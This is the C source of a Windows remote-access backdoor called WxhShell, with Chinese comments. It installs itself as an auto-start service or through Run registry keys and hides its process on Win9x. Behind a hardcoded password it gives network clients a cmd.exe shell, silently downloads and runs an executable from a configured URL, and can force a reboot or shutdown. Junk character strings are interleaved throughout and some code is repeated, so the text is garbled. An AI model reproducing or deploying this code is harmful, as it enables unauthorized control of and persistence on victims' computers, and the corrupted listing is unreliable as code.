Riu] Q4;br?2H HANDLE hProcess; RO"*&o'K' PROCESS_BASIC_INFORMATION pbi; y=jTS a;A&>Ei} HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D?w-uR%Y if(NULL == hInst ) return 0; drQioH- d[9NNm*htC g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,A>i)brc g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {mp;^/O`er NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \JLiA>@@ dIo|i,- if (!NtQueryInformationProcess) return 0; nAp7X-t 4D/mm(2d$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2ju1<t,8) if(!hProcess) return 0; }fo?K|Xx 79^on8 k} if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A_t<SG5
O;A/(lPW+ CloseHandle(hProcess); ]rh)AE!Y( "iof -b=ys hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _]=` F
l if(hProcess==NULL) return 0; i`g>Y5 N[$(y}
!s HMODULE hMod; T_}\ char procName[255]; pr-{/6j6 unsigned long cbNeeded; QsmG(1= L#e|t0'# if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BX),U _e_]$G/TM CloseHandle(hProcess); ?nFT51t/4 XU0"f!23x if(strstr(procName,"services")) return 1; // 以服务启动 ;D/'7f7.} t3/!esay return 0; // 注册表启动 Ej1 [ry } VmTk4?V4 |jV4]7Luq // 主模块 dBG]J18 int StartWxhshell(LPSTR lpCmdLine) r,6~?hG] { EMH?z2iGd SOCKET wsl; `.dTkL BOOL val=TRUE; ^}8_tZs8\ int port=0; f (
`.q struct sockaddr_in door; Q9[dUdQm utwh"E&W if(wscfg.ws_autoins) Install(); <,0&Ox 1F5F2OT$8 port=atoi(lpCmdLine); 33\b@F7b `bZ_=UAb if(port<=0) port=wscfg.ws_port; RWBmQg^]X B`hxF(_p/ WSADATA data; e_ 6
i896 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JoZC+G
xuelo0h, if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "0L@cOyG setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LM _4.J door.sin_family = AF_INET; &V( LeSI door.sin_addr.s_addr = inet_addr("127.0.0.1"); wH#k~`M door.sin_port = htons(port); N13 <!QQ CWkm\= if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { No[xf9>t closesocket(wsl); O!f* @ return 1; 2
;B[n;Q{ } rMlbj2T XB;;OP12 if(listen(wsl,2) == INVALID_SOCKET) { 4r(rWlM closesocket(wsl); ]Ly)%a32 return 1; 'd?8OV } PfrW,R~r Wxhshell(wsl); JsPuxu_ WSACleanup(); :OI!YR%" v2@M,xbxF: return 0; V43JY_: C-6+ZIk4 } _k+Bj.L *rEW@06^\ // 以NT服务方式启动 iCx'`^HnP VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q}2w~Cn\S { n6o}$]H DWORD status = 0; 71 /6=aq>n DWORD specificError = 0xfffffff; <E\BKC%M sZ4H\ serviceStatus.dwServiceType = SERVICE_WIN32; tOko %vY8 serviceStatus.dwCurrentState = SERVICE_START_PENDING; <1jiU%!w serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %n}]$
d serviceStatus.dwWin32ExitCode = 0; M(3E
b;` serviceStatus.dwServiceSpecificExitCode = 0; 6
*8G e serviceStatus.dwCheckPoint = 0; % 9WWBxS serviceStatus.dwWaitHint = 0; *`jEg=) ZRxB" a' hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i&LbSxUh9 if (hServiceStatusHandle==0) return; r?V|9B`$p 1g/mzC status = GetLastError(); Bv=Z*"Fv if (status!=NO_ERROR) rfPJBD{Ve { *p WswcV/ serviceStatus.dwCurrentState = SERVICE_STOPPED; !E7/:t4 serviceStatus.dwCheckPoint = 0; Ta[}k/zW serviceStatus.dwWaitHint = 0; @/7Rp8Fr serviceStatus.dwWin32ExitCode = status; g*]<]%Py" serviceStatus.dwServiceSpecificExitCode = specificError; N]=.I SetServiceStatus(hServiceStatusHandle, &serviceStatus); uPp(l4(+ return; ohh 1DsB } OQsH,' cALu serviceStatus.dwCurrentState = SERVICE_RUNNING; RZ.5:v6 serviceStatus.dwCheckPoint = 0; )US)-\^ serviceStatus.dwWaitHint = 0; [D?E\Nkk if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); er<~dqZ}] } (Pu*[STTT G/`_$ c // 处理NT服务事件,比如:启动、停止 XnG!T$ VOID WINAPI NTServiceHandler(DWORD fdwControl) V?rI,'F>N { ]JM9 ^F switch(fdwControl) HxM-VK ' { !{3pp case SERVICE_CONTROL_STOP: qzyQ2a_p serviceStatus.dwWin32ExitCode = 0; >ab=LDoM serviceStatus.dwCurrentState = SERVICE_STOPPED;
:D/R serviceStatus.dwCheckPoint = 0; #e0+;kBh serviceStatus.dwWaitHint = 0; jf2E{48P { 3~S~)quwP SetServiceStatus(hServiceStatusHandle, &serviceStatus); O0I/^ } ,#m\W8j return; x-W0 h case SERVICE_CONTROL_PAUSE: C'$U1%:
j serviceStatus.dwCurrentState = SERVICE_PAUSED; C eg6o&^ break; u@|yw) case SERVICE_CONTROL_CONTINUE: # \M<6n{ serviceStatus.dwCurrentState = SERVICE_RUNNING; EagI)W!s[ break; Fq3;7Cq=hD case SERVICE_CONTROL_INTERROGATE: bVrvb`0 break; d8K^`k+x };
)Ob{] SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1GNAx\( } SVHtv0Nx a&<<X:$Hy // 标准应用程序主函数 s6
^JgdW int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &,)tD62s { :H87x?e[ := 8vy // 获取操作系统版本 RU'J!-w{ OsIsNt=GetOsVer(); HvngjP{> GetModuleFileName(NULL,ExeFile,MAX_PATH); f;Dz(~hw XU54skN // 从命令行安装 93rE5eGs if(strpbrk(lpCmdLine,"iI")) Install(); 8;5/_BwMu {F4: // 下载执行文件
g$97"d' if(wscfg.ws_downexe) { 5-J-Tn if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~+g5?y WinExec(wscfg.ws_filenam,SW_HIDE); M1i|qjb:l } Psv!`K x{- caOH if(!OsIsNt) { +1y#=iM{ // 如果时win9x,隐藏进程并且设置为注册表启动 {xr]xcM'b HideProc(); Il642#Gh StartWxhshell(lpCmdLine); (1o^Dn3 } <vrx8Q*6 else (AS%P? if(StartFromService()) nZ*P:K t: // 以服务方式启动 nGt8u4gcP StartServiceCtrlDispatcher(DispatchTable); w*}9;l else WAEKvM4*i0 // 普通方式启动 qRFN@ID$ StartWxhshell(lpCmdLine); ev3x*}d0 wfdFGoy( return 0; F~Li.qF } We ->d |= oK>,MdB t&xx-4 C/bttd =========================================== 76m[o YJy*OS_& HT&0i,` zxh"@j$? =
` ^jz} jmFN*VIL " ,jn?s^X6Dj L`#+ZLo #include <stdio.h> kpdFb7>| #include <string.h> ^WNJQg' #include <windows.h> A=$oYBB #include <winsock2.h> W)#`4a^xj7 #include <winsvc.h> 5c"kLq6r #include <urlmon.h> E;qwoTmul 1bBK1Uw #pragma comment (lib, "Ws2_32.lib") JvDsr0]\# #pragma comment (lib, "urlmon.lib") ZeeuH"A |(%H O@i #define MAX_USER 100 // 最大客户端连接数 )>fi={!=c #define BUF_SOCK 200 // sock buffer e-VLU; #define KEY_BUFF 255 // 输入 buffer !r|X6`g 9<#D0hh$ #define REBOOT 0 // 重启 ^6+x0[13 #define SHUTDOWN 1 // 关机 #jX>FXo @I&"P:E0F; #define DEF_PORT 5000 // 监听端口 =Wf@'~K0k" `T70FsSJ #define REG_LEN 16 // 注册表键长度 Q-F9oZ*0 #define SVC_LEN 80 // NT服务名长度 oo!g?X[[ qo@dFKy // 从dll定义API /Uc*7Y5j typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |$PLZ, typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ng*%1;P typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =r~.I typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z m'jk D| ! Cl/=0$[L // wxhshell配置信息 +2SX4Kxu struct WSCFG { Iqsk\2W]a3 int ws_port; // 监听端口 qC )VT3 char ws_passstr[REG_LEN]; // 口令 .N=hA int ws_autoins; // 安装标记, 1=yes 0=no qj&)w9RLJE char ws_regname[REG_LEN]; // 注册表键名 *3$,f>W^ char ws_svcname[REG_LEN]; // 服务名 HhvG#Sam! char ws_svcdisp[SVC_LEN]; // 服务显示名 {<kG{i/ char ws_svcdesc[SVC_LEN]; // 服务描述信息 z (3"\ ^T char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8|({
_Z int ws_downexe; // 下载执行标记, 1=yes 0=no MxR U6+a char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D@^ZpN8r char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qedGBl& MbfzGYA2~ }; eEQ[^i "|%9xGX|D // default Wxhshell configuration WM"^#=+$ struct WSCFG wscfg={DEF_PORT, I*}#nY0+ "xuhuanlingzhe", C t)MvZ 1, sh ;uKzQ "Wxhshell", 3ZlI$r( "Wxhshell", >K
:"[? "WxhShell Service", 7g)3\C "Wrsky Windows CmdShell Service", @@wx~|% "Please Input Your Password: ", CeTr%j 1, _sVs6AJ "http://www.wrsky.com/wxhshell.exe", >|)0Amt "Wxhshell.exe" ImY.HB^& }; >x4[7YAU{ d8HB2c5y0i // 消息定义模块 }&DB5M char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m]\zt char *msg_ws_prompt="\n\r? for help\n\r#>"; |a{]P=<q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cA?
x( char *msg_ws_ext="\n\rExit."; |L;psK char *msg_ws_end="\n\rQuit."; xV#a(>-4 char *msg_ws_boot="\n\rReboot..."; zU~..;C char *msg_ws_poff="\n\rShutdown..."; <im<(=m9 char *msg_ws_down="\n\rSave to "; vLuQe0l{ ;YDF*~9u char *msg_ws_err="\n\rErr!"; hyiMOa char *msg_ws_ok="\n\rOK!"; pm]DxJ@ b`W*vduf char ExeFile[MAX_PATH]; |*KS<iHr% int nUser = 0; "<x~{BN? HANDLE handles[MAX_USER]; lGUV(D int OsIsNt; oDP((I2- </gp3WQ. SERVICE_STATUS serviceStatus; nud=uJ"( SERVICE_STATUS_HANDLE hServiceStatusHandle; iIaT1i4t. 9T2A)a]0 // 函数声明 zpqGh int Install(void); )7GLS\uf<% int Uninstall(void); WEtA4zCO int DownloadFile(char *sURL, SOCKET wsh); 8e!DDh int Boot(int flag); pYl{:uIPN8 void HideProc(void); ;9 ,mV(w int GetOsVer(void); HhmVV"g int Wxhshell(SOCKET wsl); 9K':Fn2, void TalkWithClient(void *cs); lt6;*z[ int CmdShell(SOCKET sock); UZP6x2:= int StartFromService(void); _i[)$EgFm int StartWxhshell(LPSTR lpCmdLine); 2BDan^:-Av DBJA}Cw VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lVdT^"~3 VOID WINAPI NTServiceHandler( DWORD fdwControl ); M~Qj'VVL |90
+)/$4 // 数据结构和表定义 Xexe{h4t_> SERVICE_TABLE_ENTRY DispatchTable[] = Pzp+I} { pXh~#o6V {wscfg.ws_svcname, NTServiceMain}, K\+}q{ {NULL, NULL} .^lbLN^2 }; ie@`S&.8 T x
XM!E
8 // 自我安装 e j%;%`C- int Install(void) ^Wfgwmh { IT`=\K/[4 char svExeFile[MAX_PATH]; kt{C7qpD HKEY key; yv)nW::D( strcpy(svExeFile,ExeFile); ^mueFw}\ Y#&0x_Z // 如果是win9x系统,修改注册表设为自启动 1N9<d, if(!OsIsNt) { ]1d,O^S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -
SS r RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~sIGI?5f RegCloseKey(key); [z% ?MIT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zk5=Opmvh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0[:9 Hb6 RegCloseKey(key); Ae j return 0; K-
I\P6R` } D!}K)T1~R } /.)[9bQ< } -~\.n else { 6f?BltFaN 7q!yCU // 如果是NT以上系统,安装为系统服务 tB7K&ssi SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n2d8;B# if (schSCManager!=0) N3gNOq& { 0UGiPH,() SC_HANDLE schService = CreateService d"I28PIS" ( 'DzBp schSCManager, 8.CKH4h wscfg.ws_svcname, f[Fgh@4cj wscfg.ws_svcdisp, )W]>\=@Y SERVICE_ALL_ACCESS, N
pXgyD SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wfDp,T3w7 SERVICE_AUTO_START, lMwk.# SERVICE_ERROR_NORMAL, [.;%\>Qk< svExeFile, Kr/h`RM NULL, N(:nF5>_ NULL, 4e@&QOo`Cu NULL, H+VO.s.a NULL, _7lt(f[S NULL HX3D*2v": ); ],\sRQbv& if (schService!=0) IAP/G5'Q { C[xJU6z CloseServiceHandle(schService); 1t~FW-: CloseServiceHandle(schSCManager); Y . strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4r1<,{gCS strcat(svExeFile,wscfg.ws_svcname); ^E$(1><-a if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sK@Y!oF}\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _k_>aG23 RegCloseKey(key); L/q]QgCoA return 0; ]bTzbu@ } j9URl$T: } -J"qrpZ^ CloseServiceHandle(schSCManager); QSHJmk 6L } 4<T*i{[ } SqXy;S@ %'L].+$t return 1; djsz!$ } K/vxzHSl 894r;UA7 // 自我卸载 q Vm"f,ruo int Uninstall(void) 4D^ M<Xn { =`qRu HKEY key;
#%?FM> #)^^_ if(!OsIsNt) { ]8$#qDS@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rH$eB/#F RegDeleteValue(key,wscfg.ws_regname); =[]x\&@t RegCloseKey(key); L#`2.nU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EI1W
.V>@ RegDeleteValue(key,wscfg.ws_regname); [)#u<lZ<~ RegCloseKey(key); /Jxq
3D)v return 0; m$fQ `XzU } h@*lWi2K7 } qDnCn H } nnt8 sf@\ else { i`[#W(m 5vD3K!\u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J| SwQE~ if (schSCManager!=0) 6OL41g' { lSH ZV
Fd SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XkPv*%Er8 if (schService!=0) EKZA5J7kn { |',M_
e] if(DeleteService(schService)!=0) { m`hGDp3 CloseServiceHandle(schService); f).*NX CloseServiceHandle(schSCManager); CifA,[l34 return 0; x3Nkp4=Xd } 4|[<e-W CloseServiceHandle(schService); U/ ?F:QD4 } O(VxMO
CloseServiceHandle(schSCManager); }@Xh xZu } +J|+es } i[$-_ .#*D!;f return 1; +7V=aNRlE } GI4?|@%vD! <57g{e0I // 从指定url下载文件 vqq6B/r@Fu int DownloadFile(char *sURL, SOCKET wsh) Y[W6Sc { \UQ9MX _ HRESULT hr; ;\N79)Gk char seps[]= "/"; /"=29sWB char *token; Bk,2WtVX char *file; q 75ky1^1: char myURL[MAX_PATH]; (tepmcf char myFILE[MAX_PATH]; Le*`r2 0|g[o:;fl_ strcpy(myURL,sURL); WtIMvk token=strtok(myURL,seps); }N?g| while(token!=NULL) wHx}U M" { :^n*V6.4 file=token; YWEYHr;%^? token=strtok(NULL,seps); 6`acg'sk> } o`idg[l. (Aorx #z GetCurrentDirectory(MAX_PATH,myFILE); P{?;T5ap6 strcat(myFILE, "\\"); G'u|Q
mb1 strcat(myFILE, file); 'e F% send(wsh,myFILE,strlen(myFILE),0); `M&P[.9Pz send(wsh,"...",3,0); 5J
ySFG3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ua %UbAt if(hr==S_OK) .}o~VT:!?Y return 0;
Nj+a2[ else ;_}~%-_
~ return 1; KYp[Gs iQqqs`K } tww=~! $]C=qM28- // 系统电源模块 wh%xkXa[ur int Boot(int flag) lr,q{; { Z:!IX^q;}n HANDLE hToken; Mm5c8[
TOKEN_PRIVILEGES tkp; )i;un. _6ZzuVv3/ if(OsIsNt) { I!P4(3skAB OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?=<~^Lk LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
JnY$fs*" tkp.PrivilegeCount = 1; FQ`(b3.
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }`9jH:q-Z AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?ty>}.c t if(flag==REBOOT) { >z(wf>2J if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'r\ 4}Ik return 0; <:">mV+/ } e!GZSk
else { YxXqI if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9UV9h_.x return 0; U9
#w } =-w;zx } xYPxg! else { z`4c 4h]I if(flag==REBOOT) { RND9D\7 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V^WU8x return 0; Q=WySIF. } lCR!:~ else { w9MoT.kI} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R::zuv return 0; 'S*k_vuN } wjrG7*_Y4v } M%I@<~wl Xwt`(h[u return 1; M*w' 1fT } Jd_;@(Eg= ,!Q]q^{C:W // win9x进程隐藏模块 d`mD!)j void HideProc(void) 96c?3ya { {L].T# BgM%+b8u HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -}P7$|O& if ( hKernel != NULL ) ]W/>Ldv { 9gy(IRGq/ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); le8 #Z}p ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2Q@Y^t
FreeLibrary(hKernel); y \D=Z
N@ } <.bRf 1Ipfw return; Xh
F_] } D<>@
%"% XRxj W // 获取操作系统版本 `:p1&OS int GetOsVer(void) KnGTcoXg_ { |
&7S8Q OSVERSIONINFO winfo; H; Ku
w winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t0Mx!p'T GetVersionEx(&winfo); wP<07t[-g if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z=g$Exl return 1; pvF-Y9Xb else vcv CD7MD return 0; BhkoSkr } [ *>AN7W [c~kF+8 // 客户端句柄模块 uOd&XW int Wxhshell(SOCKET wsl) K\u_Ji]k { y t5H oy SOCKET wsh; -DjJ",h( $ struct sockaddr_in client; mV)+qXC DWORD myID; /TV=$gB` Dvc&RG while(nUser<MAX_USER) e2cP
*J { 6;iJ*2f5V int nSize=sizeof(client); `XKVr wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x#*QfE/E(@ if(wsh==INVALID_SOCKET) return 1; iOCqE 5d3 ]PR#W_&q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vUesV%9hq if(handles[nUser]==0) _las;S'oa closesocket(wsh); h&;t.Gdf else nB5zNyY4 nUser++; kXrlSaIc } KOhA) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fuMJdAuY7d Pw[g return 0; !)pdamdA } O9"/
kmB k~.&j"K // 关闭 socket [{
~TcT void CloseIt(SOCKET wsh) t9cl"F= { =0
closesocket(wsh); ~ G6"3" nUser--; .iHn5SGA ExitThread(0); >V$ Gx>I } ])}]/Qw Qk9 76 // 客户端请求句柄 }H"kU2l void TalkWithClient(void *cs) eE@&ze>X { S DLvi!y AUe# RP SOCKET wsh=(SOCKET)cs; ~1L:_Sg* char pwd[SVC_LEN]; OLC{iD# char cmd[KEY_BUFF]; &ldBv_ char chr[1]; 8|%^3O 0X int i,j; 8}s.Fg@tE Qf $|_&| while (nUser < MAX_USER) { x@Hd^xH` .2)
=vf'd if(wscfg.ws_passstr) { 04U")-\O if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N<(.%<! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tjT>VwqH //ZeroMemory(pwd,KEY_BUFF); /Q{P3:k i=0; ;j8)KC while(i<SVC_LEN) { ACq7dLys,B w= P9FxB // 设置超时 L+}n@B fd_set FdRead; Iw<i@=V struct timeval TimeOut; tptN6Isuh FD_ZERO(&FdRead); OTDg5:> FD_SET(wsh,&FdRead); H1n1-!%d TimeOut.tv_sec=8; NMOut@ TimeOut.tv_usec=0; QPtGdd int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }g7]?Ee if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 26vp1 {gbn/{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L;Z0`mdz pwd=chr[0]; :Bu2,EL*O if(chr[0]==0xd || chr[0]==0xa) { L|@y&di pwd=0; qqrq11W break; svf|\p>]H } jz58E} i++; Y5ZZ3Ati } M-V&X&?j z7GTaX$d // 如果是非法用户,关闭 socket \;u@ " if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
-!W<DJ* } 9}a_:hAy/ O3DmNq$dz send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a2Pf/D]n send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,JU@|` G)v
#+4 while(1) { W6 H,6v l<0}l^C. ZeroMemory(cmd,KEY_BUFF); ,<BbpIQ2o *}k;L74| // 自动支持客户端 telnet标准 ^sN ( j=0; U8qtwA9t while(j<KEY_BUFF) { LI2&&Mw if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JM1R ;i6 cmd[j]=chr[0]; D%6;^^WyUx if(chr[0]==0xa || chr[0]==0xd) { GaX[C<Wt cmd[j]=0; |sRipWh break; Mi'8
~J } 26T "XW'_ j++; ]e.JNo } ^uv<6 mKo C.J // 下载文件 [ i#zP if(strstr(cmd,"http://")) { >SPh2[f send(wsh,msg_ws_down,strlen(msg_ws_down),0); oF(Lji?m if(DownloadFile(cmd,wsh)) ;qH O OT send(wsh,msg_ws_err,strlen(msg_ws_err),0); `W/sP\3 else #Zrlp.M4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =] *.ZH#h } rV08ad else { A\8}|r(>9E K2%w0ohC switch(cmd[0]) { ,^#yo6- KM^ufF2[ // 帮助 y~()|L[ case '?': { qOIW(D send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q.,JVGMS break; 23~Sjr
} Xy5e5K // 安装 8Q_SRwN case 'i': { >jD[X5Y if(Install()) 4Y[1aQ(% send(wsh,msg_ws_err,strlen(msg_ws_err),0); (}}S9 K else W`c'=c send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M Y|w break; "
Hd|7F'u= } YnLErJ // 卸载 \hCH>*x< case 'r': { [jmd if(Uninstall()) bV,}Pp+/"! send(wsh,msg_ws_err,strlen(msg_ws_err),0); V+O"j^Z_J else 9K1oZ?)_z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %2v4<icvq break; L|p
Z$HB } Ol!ntNhXm // 显示 wxhshell 所在路径 _%QhOY5tv" case 'p': { 6F e34n]m char svExeFile[MAX_PATH]; `r?7oxN strcpy(svExeFile,"\n\r"); K4kMM*D strcat(svExeFile,ExeFile); ,G)r=$XU send(wsh,svExeFile,strlen(svExeFile),0); T#>7ub break; *QH28%^ } ynbuN x* // 重启 AM!G1^c case 'b': { =Q\r?(Iy send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D*lKn62 if(Boot(REBOOT)) K5lmVF\$P send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6'Fd GS else { qT+%;( closesocket(wsh); MdW]MW{ ExitThread(0); uCcYPvm } irfp!(r break; 6fw(T.Pe } Mxv;k%l|E| // 关机 N0r16# -g case 'd': { [sW3l:^ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |j7,Mu+ if(Boot(SHUTDOWN)) /FRm2m83 send(wsh,msg_ws_err,strlen(msg_ws_err),0); T:; 2 else { ,N)/w1?I closesocket(wsh); &G-!qxe ExitThread(0); .X;3,D[w } /{&tY:;m break; bD?VU<)3 } R~PA1wDZ // 获取shell #)nSr case 's': { aeD ;5VV CmdShell(wsh); sfNE68I2 closesocket(wsh); !4X
f~P ExitThread(0); I"ok&^t^} break; f.9SB
} p9x(D/YP0 // 退出 5rU[Tir case 'x': { OOo3G~2r send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k=jk`c{<[ CloseIt(wsh); r8xv#r 1 break; |AozR ~ } N(Tz%o4 // 离开 @"^0%/2- case 'q': { hbY5l}\5 send(wsh,msg_ws_end,strlen(msg_ws_end),0); N'GeHByIT closesocket(wsh); |EJD3& WSACleanup(); BW$"`T@c6~ exit(1); (^Y~/ break; i uF*.hc,% } IhVO@KJI } vwxXgk } GJ_7h_4 uc){+'[ // 提示信息 3R.W>U if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U`2e{>'4t } T[g[&K1Y } 5?]hd*8 T9Nb`sbV] return; K/|Z$4S } x$6^R q>2 vzim<;i // shell模块句柄 E2Q[ZoVS int CmdShell(SOCKET sock) !1$])VQWI { 4b98KsYg STARTUPINFO si; $\X[@E S0 ZeroMemory(&si,sizeof(si)); sT}.v* si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,[P{HrHx si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hpO`] PROCESS_INFORMATION ProcessInfo; [PNT\ElT char cmdline[]="cmd"; ?#}N1k\S CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =A83W/4 return 0; pHLB = r } hEKf6# Z{]0jhUyNh // 自身启动模式 7$CBx/X50) int StartFromService(void) HTX?,C_ { Brf5dT49 typedef struct PoG-Rqe { E2R&[Q"% DWORD ExitStatus; 6ZP(E^. DWORD PebBaseAddress; LG9+y DWORD AffinityMask; l1BtI_7p DWORD BasePriority; Cv6'`",Yzm ULONG UniqueProcessId; TFlet"ge= ULONG InheritedFromUniqueProcessId; j+$rj } PROCESS_BASIC_INFORMATION; ]:XoRyIZ1[ Rh_np PROCNTQSIP NtQueryInformationProcess; O$_)G\\\m ]>=}*= static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /|C* static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -zOdU}91Ao bk;?9%TW HANDLE hProcess; H[,i{dD PROCESS_BASIC_INFORMATION pbi; f4 P8Oz I|gB@|_~ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &$`P,i 1) if(NULL == hInst ) return 0; \Q0[?k 2mVD_ s[` g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Enum/O5 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %4et&zRC NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J^SdH&%Z a_f~N1kq if (!NtQueryInformationProcess) return 0; cW@Zd5&0S v%+:/m1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Br1&8L-|% if(!hProcess) return 0; %5M/s'O?i kMi/>gpQ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [j=yMP38!: +B B@OW CloseHandle(hProcess); s4A43i'g!h *>7 >g" hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m% -g ~q 